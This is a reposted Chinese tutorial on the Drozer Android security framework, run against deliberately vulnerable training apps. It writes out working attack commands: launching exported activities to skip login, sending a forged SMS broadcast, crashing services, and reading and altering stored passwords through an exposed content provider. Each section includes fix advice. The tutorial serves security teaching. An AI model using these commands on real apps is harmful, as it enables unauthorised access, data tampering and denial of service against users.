0


安全测试-Drozer安全测试框架实践记录篇

一、Drozer 简介

    Drozer是MWR Labs开发的一款Android安全测试框架。是目前最好的Android安全测试工具之一。其官方文档说道:“Drozer允许你一一个普通android应用的身份与其他应用和操作系统交互。”在Web世界已经有了许多安全测试工具了,我们只需要给出一个目标,这些工具就会自动为我们安全测试报告。但Drozer与这样的自动化扫描器不同,Drozer是一种交互式的安全测试工具。使用Drozer进行安全测试,用户在自己的工作站上输入命令,Drozer会将命令发送到Android设备上的代理程序执行。其官方文档说道:“Drozer允许你一个普通android应用的身份与其他应用和操作系统交互。

1.1 特点

*更快的 Android 安全评估:drozer 可以大大缩减 Android 安全评估的耗时,通过攻击测试暴露 Android APP 的漏洞。

*支持真机模拟器:drozer 运行在Android 模拟器和真实设备上。

  • 自动化和扩展: drozer 有很多扩展模块,可以发现更多Android 安全问题。

二、环境部署

2.1 环境要求

  • dk1.8

  • python2.7

  • Android SDK 环境

*Genymotion模拟器

2.2 安装 drozer

1、下载地址:Drozer 下载对应的系统版 本即可,Drozer

2、安装时 Python 依赖路径选择,如果安装了 python3 需要切换到 Python2 路径

2..3 安装依赖库

  1. 安装 VCForPython27.msi, https://www.microsoft.com/en-us/download/details.aspx?id=44266 由于 Twisted 对此文件有依赖,所以需要安装。

  2. 安装 protobuf pyOpenSSL Twisted service_ identity 需要使用 Python2 的 pip 安装。

C:\Python27\Scripts

pip2 instal l protobuf pyOpenSSL Twisted service_ identity

  1. 如果安装上述的包出现超时报错,如下所示,可以切换到国内源如中科大源。

ReadTimeoutError: HTTPSConnectionPool (host='fi les.pythonhosted.org', port=443) : Read t imed out.

  1. 替换源之后的命令如下:

pip2 instal l protobuf pyOpenSSL Twisted service_ identity - i

https:/pypi.mirors.ustc.edu.cn/simple/

  1. 打开 cmd 进入 Python2 的目录,输入命令 drozer 看到如下命令说明安装成功。

2.4 设备安装

1、下载安装 agent:

链接:https://pan.baidu.com/s/1MA1LYn5iXP3hfAWdBNCaHw?pwd=abcd
提取码:abcd

2、到手机打开启 agent,如下图右下角按钮显示为开启状态 (如果显示为关闭,在其上

点击将其切换为开启即可),

3、点击底部 Embedded Server 然后点击顶部开关 Disabled 使其变为 Enabled

2.5 连接设备

1、打开 cmd 命令窗口,依次执行如下命令

  • 设置端口转发:adb forward tcp:31415 tcp:31415

*连接设备 :drozer console connect

看到如上显示,说明启动成功,下一步则可以进行测试。如果想提出drozer 命令模式,则输 入指令 exit 即可退出。

三、安全测试

App攻击面分析

分析 Android 四大组件是否能被其他的的应用程序调用。

dz> run app.package.attacksurface+包名

【这里用这个包做示范com.android.insecurebankv2】

结果显示了潜在可以利用的组件个数:exported 表示组件可以被其他 App 使用。is debuggable 表示我们可以用adb 绑定一个调试器到进程。

四、Activity 组件暴露

Activity 简介

在应用程序(就是我们手机上运行的app)中,一个 Activity 通常就是一个单独的界面,它上面可以显示一些控件也可以监听 并处理用户的事件做出响应。 Activity 之间通过 Intent 进行通信。在 Intent 的描述结构中, 有两个最重要的部分:action 和 action 对应的数据

Activity 组件暴露概述

   Activity 组件的属性 exported 被设置为 true 或是未设置 exported 值但 Intent-filter 不为空时, activity 被认为是导出的,可通过设置相应的 Intent 唤起 activity。查看下反编译出的 AndroidManifest.xml 文件,可看到将 activity 的 exported 设置为 true。说 明存在被导出的分险

危害描述

黑客可能构造恶意数据针对导出activity 组件实施越权攻击。

修复建议

如果组件不需要与其他 app 共享数据或交互,请将 AndroidManifest.xml 配置文件中设置该组 件为 exported = “False” 。如果组件需要与其他 app 共享数据或交互, 请对组件进行权限 控制和参数校验。

项目实操

我们挑选一个apk测试应用:InsecureBankv2

下载地址:https://pan.baidu.com/s/1d4jJG58aTk9xnsiizvTFzw?pwd=abcd
提取码:abcd

供安全爱好者和开发人员 通过测试此易受攻击的应用程序来学习Android 不安全性。它的后端服务器组件是用 python 编写的。它与 Python2 兼容。

注意:电脑上安装了杀毒软件,会将该 apk 视为病毒,忽略就好。

https://github.com/dineshshetty/Android-InsecureBankv2/releases选择最新版本安 装下载即可。

第一步先查看对外的 activity 组件信息

使用命令:run app.activity. info -a+包名可以查看对外的 activity 组件信息。

操作 命令:run app.activity.info -a com.android.insecurebankv2

Package : com.android. insecurebankv2

com.android.insecurebankv2.LoginActivity

  Permiss ion: nul l

com.android.insecurebankv2.PostLogin

 Permiss ion: nul l

com.android.insecurebankv2.DoTransfer

 Permiss ion: nul l

com.android.insecurebankv2.ViewStatement

Permiss ion: nul l

com.android.insecurebankv2.ChangePassword

 Permiss ion: nul l

第二步越权漏洞检测

通过命令 run app.activity.start 调用 activity 组件

命令:run app.activity.start --component 包名 Activity 名

命令:run app.activity.start --component com.xxxx.sample com.xxx.xxxxx.WXEntryActivity

我们如果绕过登录界面导致可直接访问,说明存在越权漏洞。

操作命令:run app.activity.start --component com.android. insecurebankv2 com.android.insecurebankv2.PostLogin

这里很显然直接跳过了登录界面进入到该页面

五、BroadcastReceiver 组件暴露

Broadcast 简介

BroadcastReceiver 消息组件,应用可以使用它对外部事件进行过滤,只对特定的外部事件(如 当电话呼入时,或者数据网络可用时)进行接收并做出响应。消息组件没有用户界面。然而, 它们可以启动一个 activity 或 serice 来响应它们收到的信息,或者用 NotificationManager 来通知用户。

通知可以用很多种方式来吸引用户的注意力──闪动呼吸灯、震动、播放声音等。一般来说 是在状态栏上放一个持久的图标,用户可以打开它并获取消息。

BroadcastReceiver 漏洞概况

风险描述

    BroadcastReceiver 组件的属性 exported 被设置为 true 或是未设置 exported 值但 intent-filter 不为空时,BroadcastReceiver 被认为是导出的。

危害描述

    导出的消息组件可以导致数据泄漏或者是越权。

修复建议

    如果组件不需要与其他 app 共享数据或交互,请将 AndroidManifest.xml 配置文件中设置该组 件为 exported =  “False” 。如果组件需要与其他 app 共享数据或交互,  请对组件进行权限 控制和参数校验。

项目实操

    拒绝服务攻击检测测试包 FourGoats 为 OWASP的项目,集成了一堆漏洞的 APK,代码未经过混 淆与加密,可以反编译后看到比较清晰的逻辑,分析漏洞成因。虽然是许多年前的项目,很 多漏洞也早已消失,但对于入门的新手来说还是有一定的价值的。

Apk 下载地址:https://pan.baidu.com/s/1DuDGn04nMu3hUXacGFTwVQ?pwd=abcd
提取码:abcd

获取 Broadcast 信息

5.1 查看 Broadcast 具体信息,找到广播的类名,以及注册的 Intent 的动作。

命令:run app.broadcast.info -a org.owasp.goatdroid.fourgoats -i

Package: org.owasp.goatdroid.fourgoats
org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver
Intent Filter:
Actions:
- org.owasp.goatdroid.fourgoats.SOCIAL_SMS
Permission: null

5.2查看反编译的 AndroidManifest.xml 文件,可看到将 receiver 的 exported 设置未进行设 置。说明存在越权问题,可发送恶意广播,伪造消息等等。

5.3 反编译 apk 文件,然后查看 broadcast 的源代码,从中可以看到短信发送需要的关键 字:phoneNumber 和 message

经过以上三步我们获取到的信息有:

  • action 动作名称为:org.owasp.goatdroid.fourgoats.SOCIAL_SMS

*component 组件名称为:org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver

*intent 意图传递的参数为:phoneNumber 和 message

执行 broadcast 攻击

  1. 根据上面掌握的信息,就可以构造短信发送的广播,在 drozer 中使用如下命令:

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 8618144775569 --extra string message hacked!

  1. 上面命令表示向手机号为 10010 的用户发送短信,内容为:hacked!,同时在 App 界面 可以看到 Toast 提示 :Your text message has been send!

  1. 尝试拒绝服务攻击检测,向广播组件发送不完整 intent 使用空 extras,可看到应用 停止运行。

命令:run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS

六、Service 组件

service 简介

    Service 是一段长生命周期的没有用户界面的程序,可以用来开发如监控类程序。  比如一个 正在从播放列表中播放歌曲的媒体播放器。在一个媒体播放器的应用中有多个 activity,让 使用者可以选择歌曲并播放歌曲。然而音乐续播这个功能并没有对应的 activity,因为用户 当然会认为在切换到其它界面时音乐应该还在后台播放的。

在这个例子中,媒体播放器这个 activity 会使用 Context.startService()来启动一个 service, 从而可以在后台保持音乐的播放。同时,系统也将保持这个 service 一直执行,直到这个 service 运行结束。

另外,我们还可以通过使用 Context.bindService()方法,连接到一个 service 上 (如果这个 service 还没有运行将启动它) 。当连接到一个 service 之后,我们还可以使用 service 提供的 接口与它进行通讯。拿媒体播放器这个例子来说,我们还可以进行暂停、切换等操作。

Service 组件暴露

风险描述

Service 组件的属性 exported 被设置为 true 或是未设置 exported 值但 Intent-Filter 不为空时, Service 被认为是导出的,可通过设置相应的 Intent 唤起 Service。

危害描述

黑客可能构造恶意数据针对导出Service 组件实施越权攻击。

修复建议

如果组件不需要与其他 app 共享数据或交互,请将 AndroidManifest.xml 配置文件中设置该组 件为 exported = “False” 。如果组件需要与其他 app 共享数据或交互, 请对组件进行权限 控制和参数校验。

AndroidManifest 检测

    我们使用之前的测试应用 FourGoats.apk, 查看反编译的 AndroidManifest.xml 文件,可以看出 : intent-filter 不为空且未将 exported 设置为 false,所以 services 默认是导出 的,org.owasp.fourgoats.goatdroid.LocationService 服务被导出,不需要任何权限。 这意味着恶意应用程序可以通过FourGoats 应用程序访问设备的位置。

指令: run app.service.info -a [pkg] 可以查看对外暴露的 service 组件。

dz> run app.service.info -a org.owasp.goatdroid.fourgoats
Package: org.owasp.goatdroid.fourgoats
org.owasp.goatdroid.fourgoats.services.LocationService
Permission: null

项目实操

调用服务组件进行拒绝服务攻击

使用命令 run app.service.start --action 服务名 --component 包名 服务名

我们可以对被导出的 服务 org.owasp.goatdroid.fourgoats.services.LocationService 执行攻击。

命令:run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService

    执行完成之后,可以看到App 直接崩溃。Android 应用使用 Intent 机制在组件之间传递数据, 如果应用在使用 getIntent(),getAction(),Intent.getXXXExtra()获取到空数据、异常或者畸形 数据时没有进行异常捕获,应用就会发生 Crash,应用不可使用 (本地拒绝服务) 。恶意应用 可通过向受害者应用发送此类空数据、异常或者畸形数据从而使应用产生本地拒绝服务。  当应用被恶意应用攻击时,本地拒绝服务一般会导致正在运行的应用崩溃,首先影响用户体 验,其次影响到后台的Crash 统计数据,另外比较严重的后果是应用如果是系统级的软件, 可能导致手机重启。

七、ContentProvider 组件

ContentProvider 简介

    Android 平台提供了 Content Provider 使一个应用程序的指定数据集提供给其他应用程序。这 些数据可以存储在文件系统中或存在一个 SQLite 数据库。

其他应用可以通过ContentResolver 类从ContentProvider 中获取或存入数据, 只有需要在多个 应用程序间共享数据是才需要 ContentResolver。

例如:通讯录数据被多个应用程序使用,必须存储在一个 ContentResolver 中它的好处就是统 一数据访问方式。

ContentProvider 组件暴露

风险描述

Content Provider 组件的属性 exported 被设置为 true 或是 Android API<=16 时,Content Provider 被认为是导出的。

危害描述

黑客可能访问到应用本身不想共享的数据或文件。

修复建议

如果组件不需要与其他 app 共享数据或交互,请将 AndroidManifest.xml 配置文件中设置该组 件为 exported = “False” 。如果组件需要与其他 app 共享数据或交互, 请对组件进行权限 控 制和参数校验。

项目实操

这里我们使用 drozer 官方提供的测试应用 sieve 进行测试,这是一个密码管理工具,是官方 用于展示常见安卓应用漏洞的应用。

下载地址:sieve.apk

https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk

获取 Content Provider 与 URI

1. 首先获取 Content Provider 信息,命令如下:

run app.provider.info -a com.mwr.example.sieve

z> run app.provider.info -a com.mwr.example.sieve
ackage: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

2. 从上面扫描可以看到有 2 个 Content Provider:

  • com.mwr.examp le.s ieve.DBContentProvider

*com.mwr.examp le.s ieve.Fi leBackupProvider

第一个是数据库相关,第二个是文件备份数据相关。

3. 获取 URI (统一资源标识符)列表,命令如下:

run scanner.provider.finduris -a com.mwr.example.sieve

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query content://com.mwr.example.sieve.DBContentProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys

Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

4. 根据上面的扫描结果,存在 Accessible content URIs 说明存在注入风险。

执行攻击

1. 打开 sieve 应用,输入 password(至少 16 位)和 pin

** 2. 我们获取 URI 数据如下所示,即可查到我们输入的 password 和 pin 的具体值**

命令:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/

** 3. 因为 Password 更改时有长度限制,至少 16 位,看起来似乎是比较安全的,可这只是 表面上的。**

我们可以使用命令直接修改 password 数据,运行:

命令:

run app.provider.update content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection pin=1234567891234567 --string Password 1234

  1. 再次查询时发现密码已经被更改了,并且也不会限制密码的长度为至少 16 位了。

检查是否有 sql 注入

    SQL 注入是比较常见的网络攻击方式之一,它不是利用操作系统的 BUG 来实现攻击,而是针 对程序员编写时的疏忽,通过 SQL 语句,实现无账号登录甚至篡改数据库等非法操作。

可以使用如下命令扫描查询是否存在 SQL 注入

命令:run scanner.provider.injection -a com.mwr.example.sieve

检查是否存在遍历文件的漏洞

命令:run scanner.provider.traversal -a com.mwr.example.sieve

标签: android 测试工具

本文转载自: https://blog.csdn.net/qq_34381178/article/details/126104772
版权归原作者 测试不止点点点 所有, 如有侵权,请联系我们删除。

“安全测试-Drozer安全测试框架实践记录篇”的评论:

还没有评论